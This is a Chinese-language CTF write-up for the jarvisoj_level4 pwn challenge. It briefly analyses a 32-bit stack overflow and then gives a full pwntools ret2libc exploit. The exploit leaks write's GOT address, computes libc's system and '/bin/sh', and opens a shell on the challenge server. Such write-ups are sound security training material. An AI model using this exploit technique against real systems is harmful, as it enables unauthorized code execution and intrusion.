jarvisoj_level4
使用checksec
查看:
NX,估计还是一道栈题目,拉进IDA中查看:
主函数中给出了漏洞函数,跟进查看:
read()
读取了0x100
,buf
变量距离ebp0x88
,存在栈溢出。
程序没有system
和/bin/sh
,需要自己泄露libc去找,一道标准的ret2libc题目。
exp:
from os import sendfile
from pwn import *
#start
r = remote("node4.buuoj.cn",27632)
# r = process("../buu/jarvisoj_level4")
elf = ELF("../buu/jarvisoj_level4")
libc = ELF("../buu/ubuntu16(32).so")
#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
#attack
payload = b'M'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) +p32(write_got) +p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))
#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
#attack2
payload = b'M'*(0x88+4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.sendline(payload)
r.interactive()